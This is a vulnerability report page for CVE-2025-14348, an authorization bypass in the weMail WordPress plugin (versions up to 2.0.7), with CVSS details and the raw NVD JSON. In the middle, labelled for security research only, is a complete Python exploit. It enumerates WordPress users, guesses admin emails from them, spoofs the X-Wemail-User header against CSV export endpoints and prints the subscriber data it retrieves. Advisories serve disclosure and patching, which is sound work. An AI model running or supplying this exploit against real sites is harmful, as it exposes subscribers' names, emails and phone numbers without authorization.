Security Vulnerability Report
中文
CVE-2025-14348 CVSS 5.3 MEDIUM

CVE-2025-14348

Published: 2026-01-20 05:16:05
Last Modified: 2026-04-15 00:35:42

Description

The weMail - Email Marketing, Lead Generation, Optin Forms, Email Newsletters, A/B Testing, and Automation plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.0.7. This is due to the plugin's REST API trusting the `x-wemail-user` HTTP header to identify users without verifying the request originates from an authenticated WordPress session. This makes it possible for unauthenticated attackers who know or can guess an admin email (easily enumerable via `/wp-json/wp/v2/users`) to impersonate that user and access the CSV subscriber endpoints, potentially exfiltrating subscriber PII (emails, names, phone numbers) from imported CSV files.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

weMail WordPress插件 <= 2.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-14348 PoC - weMail Authorization Bypass # Target: WordPress site with weMail plugin <= 2.0.7 def enumerate_users(target_url): """Enumerate WordPress users via REST API""" users = [] endpoint = f"{target_url.rstrip('/')}/wp-json/wp/v2/users" try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: users_data = response.json() for user in users_data: users.append({ 'id': user.get('id'), 'email': user.get('slug') + '@' + target_url.split('//')[1].split('/')[0], 'name': user.get('name') }) except Exception as e: print(f"[-] Error enumerating users: {e}") return users def exploit_csv_export(target_url, admin_email): """Exploit authorization bypass to access CSV subscriber data""" endpoints = [ '/wp-json/wemail/v1/csv/export', '/wp-json/wemail/v1/csv/subscribers', '/wp-json/wemail/v1/export/subscribers' ] headers = { 'X-Wemail-User': admin_email, 'Content-Type': 'application/json' } for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS: Exposed CSV data via {endpoint}") print(f"[+] Response: {response.text[:500]}") return response.json() elif response.status_code == 401: print(f"[-] Endpoint {endpoint} returned 401") else: print(f"[*] Endpoint {endpoint} returned {response.status_code}") except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") return None def main(): target = input("Enter target WordPress URL: ").strip() print(f"[*] Enumerating users from {target}...") users = enumerate_users(target) if not users: print("[-] No users found or enumeration failed") return print(f"[+] Found {len(users)} users") for user in users: print(f" - {user['name']}: {user['email']}") if users: admin_email = users[0]['email'] print(f"\n[*] Attempting exploitation with user: {admin_email}") exploit_csv_export(target, admin_email) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14348", "sourceIdentifier": "[email protected]", "published": "2026-01-20T05:16:04.677", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The weMail - Email Marketing, Lead Generation, Optin Forms, Email Newsletters, A/B Testing, and Automation plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.0.7. This is due to the plugin's REST API trusting the `x-wemail-user` HTTP header to identify users without verifying the request originates from an authenticated WordPress session. This makes it possible for unauthenticated attackers who know or can guess an admin email (easily enumerable via `/wp-json/wp/v2/users`) to impersonate that user and access the CSV subscriber endpoints, potentially exfiltrating subscriber PII (emails, names, phone numbers) from imported CSV files."}, {"lang": "es", "value": "El plugin weMail - Email Marketing, Generación de Leads, Formularios de Suscripción, Boletines por Correo Electrónico, Pruebas A/B y Automatización para WordPress es vulnerable a una omisión de autorización en todas las versiones hasta la 2.0.7, inclusive. Esto se debe a que la API REST del plugin confía en el encabezado HTTP 'x-wemail-user' para identificar usuarios sin verificar que la solicitud se origina de una sesión de WordPress autenticada. Esto hace posible que atacantes no autenticados que conocen o pueden adivinar un correo electrónico de administrador (fácilmente enumerable a través de '/wp-json/wp/v2/users') suplanten a ese usuario y accedan a los puntos finales de suscriptores CSV, lo que podría exfiltrar PII de suscriptores (correos electrónicos, nombres, números de teléfono) de archivos CSV importados."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wemail/tags/2.0.6/includes/Rest/Csv.php#L79", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wemail/tags/2.0.6/includes/Rest/Csv.php#L85", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3442404%40wemail%2Ftrunk&old=3423372%40wemail%2Ftrunk&sfp_email=&sfph_mail=#file1", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/59c0caa2-d0c2-472e-83c3-d11ad313720d?source=cve", "source": "[email protected]"}]}}